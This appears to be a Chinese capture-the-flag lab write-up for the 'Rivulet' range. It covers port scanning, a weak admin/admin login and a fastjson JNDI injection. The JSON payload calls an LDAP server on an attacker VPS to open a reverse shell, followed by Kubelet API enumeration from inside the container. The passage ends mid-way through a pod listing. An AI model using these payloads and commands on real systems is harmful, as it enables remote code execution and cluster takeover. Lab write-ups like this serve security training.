Rivulet-春秋云镜

8.130.80.176

外网

fscan

start infoscan
8.130.80.176:25 open
8.130.80.176:110 open
8.130.80.176:143 open
8.130.80.176:22 open
8.130.80.176:2380 open
8.130.80.176:2379 open
8.130.80.176:6443 open
8.130.80.176:8080 open
8.130.80.176:10250 open
8.130.80.176:10252 open
8.130.80.176:10251 open
[*] alive ports len is: 11
start vulscan
[*] WebTitle http://8.130.80.176:10251 code:404 len:19     title:None
[*] WebTitle http://8.130.80.176:8080  code:302 len:0      title:None 跳转url: http://8.130.80.176:8080/login;jsessionid=1887381203F3F675170D4262CAF12285
[*] WebTitle http://8.130.80.176:10252 code:404 len:19     title:None
[*] WebTitle https://8.130.80.176:6443 code:403 len:233    title:None
[*] WebTitle https://8.130.80.176:10250 code:200 len:104    title:None
[*] WebTitle http://8.130.80.176:8080/login;jsessionid=1887381203F3F675170D4262CAF12285 code:400 len:277    title:None
已完成 10/11 [-] ssh 8.130.80.176:22 root root@2019 ssh: handshake failed: ssh: unable to authenticate, attempted methods [none password], no supported methods remain
已完成 11/11

8080：

10250：

目录扫描发现登录

弱口令admin/admin进来了

可以创建新东西

JNID，暂时不知道怎么想到是这个漏洞利用的

工具启动：

java -jar JNDIExploit-1.3-SNAPSHOT.jar -i VPS -l 1389 -p 8888 &

参数	含义	为什么这样写
`-i VPS`	指定 VPS 的 IP 地址	工具需要知道自己的公网 IP，用来生成 LDAP 和 HTTP 服务的回调地址，让目标服务器能访问到
`-l 1389`	监听 LDAP 服务的端口	JNDI 注入常用的是 LDAP 协议（RMI 也可以），目标服务器会通过这个端口来拉取恶意对象。1389 是 LDAP 常用非特权端口
`-p 8888`	监听 HTTP 服务的端口	当 LDAP 返回一个 `Reference`（引用）时，客户端会去这个 HTTP 端口下载实际的恶意 class 文件

工作流程：

目标服务器请求 ldap://VPS:1389/xxx
JNDIExploit 的 LDAP 服务响应：去 http://VPS:8888/xxx.class 下载
目标服务器下载并执行 class 文件（反弹 shell）

vps监听：

nc -lvnp 4444

在创建的页面发包：

POST /create HTTP/1.1
Host: 8.160.121.162:8080
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/113.0.5672.127 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7
Referer: http://8.160.121.162:8080/posts
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: JSESSIONID=96F5B1EF15D449B0BEF5D7AF48030426
Connection: close
Content-Length: 273

{
  "title":"jndi-rce",
  "content":{
    "a":{"@type":"java.lang.Class","val":"com.sun.rowset.JdbcRowSetImpl"},
    "b":{"@type":"com.sun.rowset.JdbcRowSetImpl","dataSourceName":"ldap://VPS:1389/Basic/ReverseShell/VPS/4444","autoCommit":true}
  }
}

这里的 dataSourceName 指定了：

协议：ldap
目标 IP：VPS（你的 VPS）
端口：1389（JNDIExploit 的 LDAP 服务端口）
路径参数：/Basic/ReverseShell/VPS/4444

最后一个路径里 VPS/4444 告诉 JNDIExploit：等会儿反弹 shell 连到 VPS:4444

反弹成功

docker容器

看了特权，特权逃逸不了

k8s

之前在外网扫的时候有8.130.80.176:10250

10250 端口是 Kubelet API 的服务端口，它在 Kubernetes 集群中扮演着关键的“节点代理人”角色

核心作用：它主要用于接收来自 Kubernetes API Server 的指令，并汇报所在节点上 Pod 的运行状态
执行具体操作：你平时使用的许多kubectl命令，背后都需要通过这个端口来执行具体任务，例如：
- kubectl logs（查看容器日志）
- kubectl exec（在容器内执行命令）
- kubectl attach（连接到容器）
- kubectl port-forward（转发端口）

端口默认就暴露这几个 API：

接口	作用
`/pods/`	列出所有 Pod
`/run/`	在容器里执行命令
`/exec/`	交互式执行
`/metrics`	指标数据
`/healthz`	健康检查

这是 K8s 的公开文档里写死的，Kubelet 默认就长这样

在容器内，不再经过外网nginx，可以直连内网IP 。外网访问被nginx白名单拦了，但容器内网络不受限

shell的ip：

root@52a205b59ba8:/app# ip a
ip a
1: lo: <LOOPBACK,UP,LOWER_UP> mtu 65536 qdisc noqueue state UNKNOWN group default qlen 1000
    link/loopback 00:00:00:00:00:00 brd 00:00:00:00:00:00
    inet 127.0.0.1/8 scope host lo
       valid_lft forever preferred_lft forever
4: eth0@if5: <BROADCAST,MULTICAST,UP,LOWER_UP> mtu 1500 qdisc noqueue state UP group default 
    link/ether 02:42:ac:11:00:02 brd ff:ff:ff:ff:ff:ff
    inet 172.17.0.2/16 brd 172.17.255.255 scope global eth0
       valid_lft forever preferred_lft forever

验证连通性：在当前的Docker容器shell里，先确认能否通宿主机：

curl -k https://172.17.0.1:10250/pods

能看到一大串JSON数据，说明网络通且接口可用

root@52a205b59ba8:/tmp# curl -k https://172.17.0.1:10250/pods
curl -k https://172.17.0.1:10250/pods
  % Total    % Received % Xferd  Average Speed   Time    Time     Time  Current
                                 Dload  Upload   Total   Spent    Left  Speed
  0     0    0     0    0     0      0      0 --:--:-- --:--:-- --:--:--     0{"kind":"PodList","apiVersion":"v1","metadata":{},"items":[{"metadata":{"name":"kube-scheduler-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-scheduler-web","uid":"2a528eea0130758e2a9e516b17b74d35","creationTimestamp":null,"labels":{"component":"kube-scheduler","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"2a528eea0130758e2a9e516b17b74d35","kubernetes.io/config.seen":"2026-06-01T18:27:49.112387653Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/scheduler.conf","type":"FileOrCreate"}}],"containers":[{"name":"kube-scheduler","image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","command":["kube-scheduler","--authentication-kubeconfig=/etc/kubernetes/scheduler.conf","--authorization-kubeconfig=/etc/kubernetes/scheduler.conf","--bind-address=127.0.0.1","--kubeconfig=/etc/kubernetes/scheduler.conf","--leader-elect=true"],"resources":{"requests":{"cpu":"100m"}},"volumeMounts":[{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/scheduler.conf"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10251,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-01T10:28:10Z","containerStatuses":[{"name":"kube-scheduler","state":{"running":{"startedAt":"2026-06-01T10:28:14Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-01T18:27:46Z","containerID":"docker://69cd8f48ef273a80a2c5b5af45692978bd34b1bf4e701c5babf1ce8f21669ab2"}},"ready":true,"restartCount":10,"image":"registry.aliyuncs.com/google_containers/kube-scheduler:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-scheduler@sha256:8f20c90afce972ae51acaf425b7bdb6445f54168b52ea311b2b89adf5db1acac","containerID":"docker://f1ae0ef4e1c73bc3d110da50cbbeae400a8972d3aeba164d1c4d7cdcc80f3873","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"etcd-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/etcd-web","uid":"5a5c733754817033fbac18a841a4281f","creationTimestamp":null,"labels":{"component":"etcd","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"5a5c733754817033fbac18a841a4281f","kubernetes.io/config.seen":"2026-06-01T18:27:49.112399607Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"etcd-certs","hostPath":{"path":"/etc/kubernetes/pki/etcd","type":"DirectoryOrCreate"}},{"name":"etcd-data","hostPath":{"path":"/var/lib/etcd","type":"DirectoryOrCreate"}}],"containers":[{"name":"etcd","image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","command":["etcd","--advertise-client-urls=https://192.168.1.56:2379","--cert-file=/etc/kubernetes/pki/etcd/server.crt","--client-cert-auth=true","--data-dir=/var/lib/etcd","--initial-advertise-peer-urls=https://192.168.1.56:2380","--initial-cluster=web=https://192.168.1.56:2380","--key-file=/etc/kubernetes/pki/etcd/server.key","--listen-client-urls= https://127.0.0.1:2379 ,https://192.168.1.56:2379","--listen-metrics-urls=http://127.0.0.1:2381","--listen-peer-urls=https://192.168.1.56:2380","--name=web","--peer-cert-file=/etc/kubernetes/pki/etcd/peer.crt","--peer-client-cert-auth=true","--peer-key-file=/etc/kubernetes/pki/etcd/peer.key","--peer-trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt","--snapshot-count=10000","--trusted-ca-file=/etc/kubernetes/pki/etcd/ca.crt"],"resources":{},"volumeMounts":[{"name":"etcd-data","mountPath":"/var/lib/etcd"},{"name":"etcd-certs","mountPath":"/etc/kubernetes/pki/etcd"}],"livenessProbe":{"httpGet":{"path":"/health","port":2381,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-01T10:28:10Z","containerStatuses":[{"name":"etcd","state":{"running":{"startedAt":"2026-06-01T10:28:14Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-01T18:27:46Z","containerID":"docker://bd6a3baebedcef40afb60505307135c3fcbc18f108db1ac5b6c030b74c3d7e83"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/etcd:3.3.15-0","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/etcd@sha256:12c2c5e5731c3bcd56e6f1c05c0f9198b6f06793fa7fca2fb43aab9622dc4afa","containerID":"docker://ca973172e6201d471429aa0747bd23db71f8722e45c466192743df874fd3d6bb","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-apiserver-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-apiserver-web","uid":"b269709cbe90ff42cbcdc86d9df1e59c","creationTimestamp":null,"labels":{"component":"kube-apiserver","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"b269709cbe90ff42cbcdc86d9df1e59c","kubernetes.io/config.seen":"2026-06-01T18:27:49.112403641Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-apiserver","image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","command":["kube-apiserver","--advertise-address=192.168.1.56","--allow-privileged=true","--authorization-mode=Node,RBAC","--bind-address=192.168.1.56","--client-ca-file=/etc/kubernetes/pki/ca.crt","--enable-admission-plugins=NodeRestriction","--enable-bootstrap-token-auth=true","--etcd-cafile=/etc/kubernetes/pki/etcd/ca.crt","--etcd-certfile=/etc/kubernetes/pki/apiserver-etcd-client.crt","--etcd-keyfile=/etc/kubernetes/pki/apiserver-etcd-client.key","--etcd-servers=https://127.0.0.1:2379","--insecure-port=0","--kubelet-client-certificate=/etc/kubernetes/pki/apiserver-kubelet-client.crt","--kubelet-client-key=/etc/kubernetes/pki/apiserver-kubelet-client.key","--kubelet-preferred-address-types=InternalIP,ExternalIP,Hostname","--proxy-client-cert-file=/etc/kubernetes/pki/front-proxy-client.crt","--proxy-client-key-file=/etc/kubernetes/pki/front-proxy-client.key","--requestheader-allowed-names=front-proxy-client","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--requestheader-extra-headers-prefix=X-Remote-Extra-","--requestheader-group-headers=X-Remote-Group","--requestheader-username-headers=X-Remote-User","--secure-port=6443","--service-account-key-file=/etc/kubernetes/pki/sa.pub","--service-cluster-ip-range=10.96.0.0/12","--tls-cert-file=/etc/kubernetes/pki/apiserver.crt","--tls-private-key-file=/etc/kubernetes/pki/apiserver.key"],"resources":{"requests":{"cpu":"250m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":6443,"host":"192.168.1.56","scheme":"HTTPS"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-01T10:28:10Z","containerStatuses":[{"name":"kube-apiserver","state":{"running":{"startedAt":"2026-06-01T10:28:14Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-01T18:27:46Z","containerID":"docker://91466a17b6887e674e4a083a273f9e2ea766b0d3230d3e6bd9a2f8fd72cb4267"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-apiserver:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-apiserver@sha256:1ec8f8d41f67f3263b86d71f3a7d3d925b2458dd14292baecfbdf18c234a1855","containerID":"docker://5ad505cfac0772163f4918e4dec3d52adcd696a99c5caf0e07b11b6bc942fcd6","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-controller-manager-web","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-controller-manager-web","uid":"f50eab22113ed55f640ed65722a1b225","creationTimestamp":null,"labels":{"component":"kube-controller-manager","tier":"control-plane"},"annotations":{"kubernetes.io/config.hash":"f50eab22113ed55f640ed65722a1b225","kubernetes.io/config.seen":"2026-06-01T18:27:49.112407541Z","kubernetes.io/config.source":"file"}},"spec":{"volumes":[{"name":"ca-certs","hostPath":{"path":"/etc/ssl/certs","type":"DirectoryOrCreate"}},{"name":"etc-ca-certificates","hostPath":{"path":"/etc/ca-certificates","type":"DirectoryOrCreate"}},{"name":"flexvolume-dir","hostPath":{"path":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec","type":"DirectoryOrCreate"}},{"name":"k8s-certs","hostPath":{"path":"/etc/kubernetes/pki","type":"DirectoryOrCreate"}},{"name":"kubeconfig","hostPath":{"path":"/etc/kubernetes/controller-manager.conf","type":"FileOrCreate"}},{"name":"usr-local-share-ca-certificates","hostPath":{"path":"/usr/local/share/ca-certificates","type":"DirectoryOrCreate"}},{"name":"usr-share-ca-certificates","hostPath":{"path":"/usr/share/ca-certificates","type":"DirectoryOrCreate"}}],"containers":[{"name":"kube-controller-manager","image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","command":["kube-controller-manager","--allocate-node-cidrs=true","--authentication-kubeconfig=/etc/kubernetes/controller-manager.conf","--authorization-kubeconfig=/etc/kubernetes/controller-manager.conf","--bind-address=127.0.0.1","--client-ca-file=/etc/kubernetes/pki/ca.crt","--cluster-cidr=10.244.0.0/16","--cluster-signing-cert-file=/etc/kubernetes/pki/ca.crt","--cluster-signing-key-file=/etc/kubernetes/pki/ca.key","--controllers=*,bootstrapsigner,tokencleaner","--kubeconfig=/etc/kubernetes/controller-manager.conf","--leader-elect=true","--node-cidr-mask-size=24","--requestheader-client-ca-file=/etc/kubernetes/pki/front-proxy-ca.crt","--root-ca-file=/etc/kubernetes/pki/ca.crt","--service-account-private-key-file=/etc/kubernetes/pki/sa.key","--service-cluster-ip-range=10.96.0.0/12","--use-service-account-credentials=true"],"resources":{"requests":{"cpu":"200m"}},"volumeMounts":[{"name":"ca-certs","readOnly":true,"mountPath":"/etc/ssl/certs"},{"name":"etc-ca-certificates","readOnly":true,"mountPath":"/etc/ca-certificates"},{"name":"flexvolume-dir","mountPath":"/usr/libexec/kubernetes/kubelet-plugins/volume/exec"},{"name":"k8s-certs","readOnly":true,"mountPath":"/etc/kubernetes/pki"},{"name":"kubeconfig","readOnly":true,"mountPath":"/etc/kubernetes/controller-manager.conf"},{"name":"usr-local-share-ca-certificates","readOnly":true,"mountPath":"/usr/local/share/ca-certificates"},{"name":"usr-share-ca-certificates","readOnly":true,"mountPath":"/usr/share/ca-certificates"}],"livenessProbe":{"httpGet":{"path":"/healthz","port":10252,"host":"127.0.0.1","scheme":"HTTP"},"initialDelaySeconds":15,"timeoutSeconds":15,"periodSeconds":10,"successThreshold":1,"failureThreshold":8},"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent"}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeName":"web","hostNetwork":true,"securityContext":{},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoExecute"}],"priorityClassName":"system-cluster-critical","enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:14Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:10Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-06-01T10:28:10Z","containerStatuses":[{"name":"kube-controller-manager","state":{"running":{"startedAt":"2026-06-01T10:28:14Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:41Z","finishedAt":"2026-06-01T18:27:46Z","containerID":"docker://4eee9f10e7ece666912c13a858bdeb31e58820e645c003a4734c8ce4766f2beb"}},"ready":true,"restartCount":9,"image":"registry.aliyuncs.com/google_containers/kube-controller-manager:v1.16.5","imageID":"docker-pullable://registry.aliyuncs.com/google_containers/kube-controller-manager@sha256:d807554df171ba4f3b56aa2a63c2ef5b56af095fd7aebdeafedbbfcda5275d10","containerID":"docker://247a6b06554362b2bcd568ea34828ff805b09544812073162ff454604be6bb6e","started":true}],"qosClass":"Burstable"}},{"metadata":{"name":"kube-flannel-ds-7tjnc","generateName":"kube-flannel-ds-","namespace":"kube-flannel","selfLink":"/api/v1/namespaces/kube-flannel/pods/kube-flannel-ds-7tjnc","uid":"2ee99dbf-5741-48d2-83b3-666f1789f702","resourceVersion":"6975","creationTimestamp":"2026-04-16T07:57:47Z","labels":{"app":"flannel","controller-revision-hash":"5c766884b","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-06-01T10:28:20.202557432Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-flannel-ds","uid":"f0fea1f7-3b34-4f8f-bbd2-e95836da73e9","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"flannel-cfg","configMap":{"name":"kube-flannel-cfg","defaultMode":420}},{"name":"cni","hostPath":{"path":"/etc/cni/net.d","type":""}},{"name":"flannel-token-wxz9b","secret":{"secretName":"flannel-token-wxz9b","defaultMode":420}}],"containers":[{"name":"kube-flannel","image":"quay.io/coreos/flannel:v0.11.0-amd64","command":["/opt/bin/flanneld"],"args":["--ip-masq","--kube-subnet-mgr"],"env":[{"name":"POD_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.name"}}},{"name":"POD_NAMESPACE","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"metadata.namespace"}}}],"resources":{},"volumeMounts":[{"name":"flannel-cfg","mountPath":"/etc/kube-flannel"},{"name":"cni","mountPath":"/etc/cni/net.d"},{"name":"flannel-token-wxz9b","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","serviceAccountName":"flannel","serviceAccount":"flannel","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priority":0,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:29:06Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:29:06Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T07:57:47Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T07:57:47Z","containerStatuses":[{"name":"kube-flannel","state":{"running":{"startedAt":"2026-06-01T10:29:05Z"}},"lastState":{"terminated":{"exitCode":1,"reason":"Error","startedAt":"2026-06-01T10:28:20Z","finishedAt":"2026-06-01T10:28:51Z","containerID":"docker://fcaed005730f44ae697b6d66ec4e93fecddae1c20a6ecef2ea79044993125c7b"}},"ready":true,"restartCount":10,"image":"quay.io/coreos/flannel:v0.11.0-amd64","imageID":"docker-pullable://quay.io/coreos/flannel@sha256:7806805c93b20a168d0bbbd25c6a213f00ac58a511c47e8fa6409543528a204e","containerID":"docker://4e7c3a0a4d988fdc94aa2ef37ce53adc43b49071f519a00a9a45faa92f29d9d4","started":true}],"qosClass":"BestEffort"}},{"metadata":{"name":"kube-proxy-j874v","generateName":"kube-proxy-","namespace":"kube-system","selfLink":"/api/v1/namespaces/kube-system/pods/kube-proxy-j874v","uid":"84ee99bb-d025-4b62-a2dd-44012d40d1e3","resourceVersion":"7009","creationTimestamp":"2026-04-16T08:19:40Z","labels":{"controller-revision-hash":"844c78dc9","k8s-app":"kube-proxy","pod-template-generation":"1"},"annotations":{"kubernetes.io/config.seen":"2026-06-01T10:28:20.202553172Z","kubernetes.io/config.source":"api"},"ownerReferences":[{"apiVersion":"apps/v1","kind":"DaemonSet","name":"kube-proxy","uid":"ce02234e-3c04-4cd6-bd21-c2c04ec22234","controller":true,"blockOwnerDeletion":true}]},"spec":{"volumes":[{"name":"kube-proxy","configMap":{"name":"kube-proxy","defaultMode":420}},{"name":"xtables-lock","hostPath":{"path":"/run/xtables.lock","type":"FileOrCreate"}},{"name":"lib-modules","hostPath":{"path":"/lib/modules","type":""}},{"name":"kube-proxy-token-kbw4r","secret":{"secretName":"kube-proxy-token-kbw4r","defaultMode":420}}],"containers":[{"name":"kube-proxy","image":"registry.aliyuncs.com/google_containers/kube-proxy:v1.16.5","command":["/usr/local/bin/kube-proxy","--config=/var/lib/kube-proxy/config.conf","--hostname-override=$(NODE_NAME)"],"env":[{"name":"NODE_NAME","valueFrom":{"fieldRef":{"apiVersion":"v1","fieldPath":"spec.nodeName"}}}],"resources":{},"volumeMounts":[{"name":"kube-proxy","mountPath":"/var/lib/kube-proxy"},{"name":"xtables-lock","mountPath":"/run/xtables.lock"},{"name":"lib-modules","readOnly":true,"mountPath":"/lib/modules"},{"name":"kube-proxy-token-kbw4r","readOnly":true,"mountPath":"/var/run/secrets/kubernetes.io/serviceaccount"}],"terminationMessagePath":"/dev/termination-log","terminationMessagePolicy":"File","imagePullPolicy":"IfNotPresent","securityContext":{"privileged":true}}],"restartPolicy":"Always","terminationGracePeriodSeconds":30,"dnsPolicy":"ClusterFirst","nodeSelector":{"beta.kubernetes.io/os":"linux"},"serviceAccountName":"kube-proxy","serviceAccount":"kube-proxy","nodeName":"web","hostNetwork":true,"securityContext":{},"affinity":{"nodeAffinity":{"requiredDuringSchedulingIgnoredDuringExecution":{"nodeSelectorTerms":[{"matchFields":[{"key":"metadata.name","operator":"In","values":["web"]}]}]}}},"schedulerName":"default-scheduler","tolerations":[{"key":"CriticalAddonsOnly","operator":"Exists"},{"operator":"Exists"},{"key":"node.kubernetes.io/not-ready","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/unreachable","operator":"Exists","effect":"NoExecute"},{"key":"node.kubernetes.io/disk-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/memory-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/pid-pressure","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/unschedulable","operator":"Exists","effect":"NoSchedule"},{"key":"node.kubernetes.io/network-unavailable","operator":"Exists","effect":"NoSchedule"}],"priorityClassName":"system-node-critical","priority":2000001000,"enableServiceLinks":true},"status":{"phase":"Running","conditions":[{"type":"Initialized","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"},{"type":"Ready","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:22Z"},{"type":"ContainersReady","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-06-01T10:28:22Z"},{"type":"PodScheduled","status":"True","lastProbeTime":null,"lastTransitionTime":"2026-04-16T08:19:40Z"}],"hostIP":"192.168.1.56","podIP":"192.168.1.56","podIPs":[{"ip":"192.168.1.56"}],"startTime":"2026-04-16T08:19:40Z","containerStatuses":[{"name":"kube-proxy","state":{"running":{"startedAt":"2026-06-01T10:28:20Z"}},"lastState":{"terminated":{"exitCode":255,"reason":"Error","startedAt":"2026-04-17T17:26:51Z","finishedAt":"2026-06-01T18:27:46Z","containerID":"docker://c326f93b41399ca58a0f908c4f73c348dcb15c8510d7f859318ad6c680d80ad0"}},"ready":true,"restartCount":5,"image":"registry.aliyuncs.com/google_containers